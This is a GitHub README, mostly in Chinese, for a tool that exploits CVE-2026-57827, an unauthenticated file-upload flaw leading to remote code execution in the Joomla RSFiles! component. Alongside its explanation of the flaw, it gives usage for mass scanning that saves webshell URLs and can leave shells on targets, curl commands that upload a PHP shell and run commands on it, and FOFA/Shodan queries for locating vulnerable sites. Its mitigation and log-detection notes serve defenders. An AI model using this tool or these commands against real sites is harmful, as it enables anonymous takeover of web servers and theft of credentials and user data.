Candisexterior171/CVE-2026-57827

GitHub: Candisexterior171/CVE-2026-57827

针对 Joomla RSFiles! 组件未经身份验证的任意文件上传远程代码执行漏洞(CVE-2026-57827)的自动化利用与批量扫描工具。

Stars: 0 | Forks: 0

CVE-2026-57827 — RSFiles! Joomla 组件未经身份验证的文件上传 RCE

分离控制器上传绕过 → 直接写入任务 → /downloads/shell.php → RCE

## 概述 **CVE-2026-57827** 是 **RSFiles!** (com_rsfiles) 中一个严重级别 (CVSS 9.8) 的**未经身份验证**的任意文件上传漏洞。RSFiles! 是 Joomla 广泛使用的文件管理和下载组件,受影响版本为 **< 1.17.12**。 该漏洞利用了分离控制器的设计缺陷:RSFiles! 将其上传过程分离为两个前端任务 —— 一个预检查(权限校验 + 扩展名白名单)和一个写入方法(将文件保存到磁盘)。该写入方法可以被**直接调用**,从而完全绕过预检查。无需身份验证,也无需 CSRF token。 ### 受影响版本 | 版本 | 状态 | |---|---| | < 1.17.12 | 存在漏洞 | | 1.17.12+ | 已修复 | ## 漏洞机制 ### 根本原因 RSFiles! 在 `/components/com_rsfiles/controllers/rsfiles.php` 中将上传操作拆分为两个独立的前端任务: ``` // Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED // Holds the permission gate (can this user upload?) and the extension // allow-list (images, text, PDFs by default). This method decides yes // or no. It writes nothing. function checkupload() { if (!$user->authorise('rsfiles.upload')) return false; $allowed = ['jpg','png','gif','txt','pdf']; if (!in_array($ext, $allowed)) return false; return true; } // Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability) // Receives the file and saves to disk. NO permission check. // NO file-type check. Reads filename straight from the request // and hands the upload to Joomla's JFile::upload(), which // accepts any file type unless told otherwise. function upload() { $file = $input->files->get('file'); // No permission check // No extension check // JFile::upload() accepts anything by default JFile::upload($file['tmp_name'], $dest . $file['name']); // File saved to /downloads/ (web root, .htaccess OFF by default) } ``` ### 漏洞原理 1. **分离控制器** — 安全检查与文件写入位于两个不同的方法中。只有预检查受到保护。 2. **直接任务访问** — Joomla 的前端控制器允许通过 `&task=rsfiles.upload` 直接调用任何任务,从而完全跳过预检查。 3. **无需身份验证** — 前端控制器没有访问权限检查。匿名访问者可以调用写入任务。 4. **无 CSRF token** — 前端上传表单没有全站 CSRF token。 5. **无文件类型验证** — 写入方法从请求中读取文件名,并将其传递给 Joomla 内置的上传处理器 (`JFile::upload()`),该处理器默认接受任何文件类型。 6. **Web 根目录下载文件夹** — RSFiles! 的默认下载文件夹位于 Web 根目录内。阻止在此处执行 PHP 的保护性 `.htaccess` 是一项**可选**的管理员设置,默认处于**关闭**状态。 ### 攻击流程 ``` 1. Attacker crafts PHP webshell (plain PHP, no polyglot needed) 2. POST /index.php?option=com_rsfiles&task=rsfiles.upload file= (multipart, PHP payload) folder=&overwrite=1 3. Joomla frontend controller dispatches to rsfiles.upload() → Skips rsfiles.checkupload (pre-flight) entirely → No permission check → No CSRF token check → No file-type check → JFile::upload() accepts any file type 4. File saved to /downloads/{shell_name}.php (web root) .htaccess protection is opt-in, OFF by default 5. GET /downloads/{shell_name}.php?t=TOKEN&c=id 6. PHP executes → RCE as www-data ``` ### 已验证的源代码参考 | 文件 | 用途 | |---|---| | `/components/com_rsfiles/controllers/rsfiles.php` | 包含易受攻击的 `upload()` 和 `checkupload()` 任务的控制器 | | `/components/com_rsfiles/views/upload/tmpl/upload.php` | 前端上传表单模板(已确认:`name="file"`,`task=rsfiles.upload`) | | `/downloads/` | Web 根目录中的默认下载文件夹(默认关闭 `.htaccess` 保护) | | `/briefcase/` | Briefcase 文件夹(同样可写入) | ### 服务器日志检测(来自 RSJoomla 公告) ``` Look for POST requests to: index.php?option=com_rsfiles&task=rsfiles.upload that are NOT preceded by requests to: index.php?option=com_rsfiles&task=rsfiles.checkupload ``` ### 关键设计缺陷 安全检查(权限校验 + 扩展名白名单)与实际写入文件的方法是**独立的预检查步骤**。只有第一步包含了检查。第二步 —— 即写入磁盘的方法 —— 可以通过在 URL 中构造正确的 `task` 参数来**直接调用**,从而绕过所有的安全控制。 这是一个典型的“检查与操作分离”反模式案例:守卫机制与其本应保护的操作是解耦的,攻击者可以在不通过守卫机制的情况下直接触达操作。 ## 安装 ``` git clone https://github.com/shinthink/CVE-2026-57827.git cd CVE-2026-57827 pip install requests ``` ## 用法 ``` # 单一目标 python cve_2026_57827.py -t target.com # Mass scan python cve_2026_57827.py -f targets.txt -o shells.txt # Debug 模式,在目标上保留 shells python cve_2026_57827.py -t target.com --debug --no-cleanup ``` ### 参数 ``` -t, --target Single target (domain or IP) -f, --file Target list, one per line -o, --output Save RCE URLs to file --threads Concurrent workers (default: 30) --no-cleanup Leave shells on target --debug Show every HTTP request -v, --verbose Verbose output ``` ## 概念验证 ### 单一目标 ``` $ python cve_2026_57827.py -t joomla-site.com ``` ``` RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8 Host : joomla-site.com RSFiles! : YES v1.17.11 Upload : YES RCE : YES Shell : https://joomla-site.com/components/com_rsfiles/downloads/.a1b2c3.php?t=token Output : uid=33(www-data) gid=33(www-data) groups=33(www-data) Time : 3.8s ``` ### 手动利用 **步骤 1 — 上传 shell** ``` curl -X POST 'https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload' \ -F 'file=@shell.php' \ -F 'folder=' \ -F 'overwrite=1' ``` **步骤 2 — 访问 shell** ``` curl 'https://target.com/downloads/shell.php?c=id' ``` **步骤 3 — 执行命令** ``` curl 'https://target.com/downloads/shell.php?c=id;hostname;uname -a' ``` **缓解措施(如果无法更新)** ``` # 删除存在漏洞的 controller 文件(会导致 RSFiles! 无法使用但确保安全) rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php # 或者启用 .htaccess 保护: # RSFiles admin → Settings → Files → 勾选 "Secure download folder" + "Secure briefcase folder" ``` ## FOFA / Shodan ``` FOFA: body="com_rsfiles" || body="RSFiles" Shodan: http.html:"com_rsfiles" ``` ## 影响 成功利用该漏洞会导致**以 Web 服务器用户身份执行远程代码 (RCE)**: - 提取 `configuration.php` → 数据库凭据、SMTP 密钥 - 访问所有 Joomla 内容、用户和扩展数据 - 部署持久化后门 - 作为跳板渗透到内部网络 - 篡改网页或注入恶意软件 在任何步骤中都不需要网站上的账户。完全匿名、未经身份验证的远程攻击。 ## 修复方案 (1.17.12) RSJoomla 在 1.17.12 版本中通过以下方式修复了该漏洞: - 在**写入方法**本身(不仅仅是预检查)添加了权限检查 - 在写入方法中添加了文件类型验证 - 在前端上传端点强制执行 CSRF token - 默认**启用**了下载文件夹中的 `.htaccess` 保护 ## 免责声明 ## 参考 | 资源 | 链接 | |---|---| | NVD 条目 | [CVE-2026-57827](https://nvd.nist.gov/vuln/detail/CVE-2026-57827) | | mySites.guru 公告 | [mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce](https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/) | | RSJoomla 公告 | [rsjoomla.com](https://www.rsjoomla.com/joomla-extensions/joomla-download-manager.html) | | CWE-434 | [危险类型文件的不受限上传](https://cwe.mitre.org/data/definitions/434.html) | | 报告者 | Phil Taylor, mySites.guru |

与 RSJoomla 或 mySites.guru 无关。

标签:CISA项目, Joomla, Python, Web安全, 安全, 无后门, 编程工具, 蓝队分析, 超时处理, 远程代码执行, 逆向工具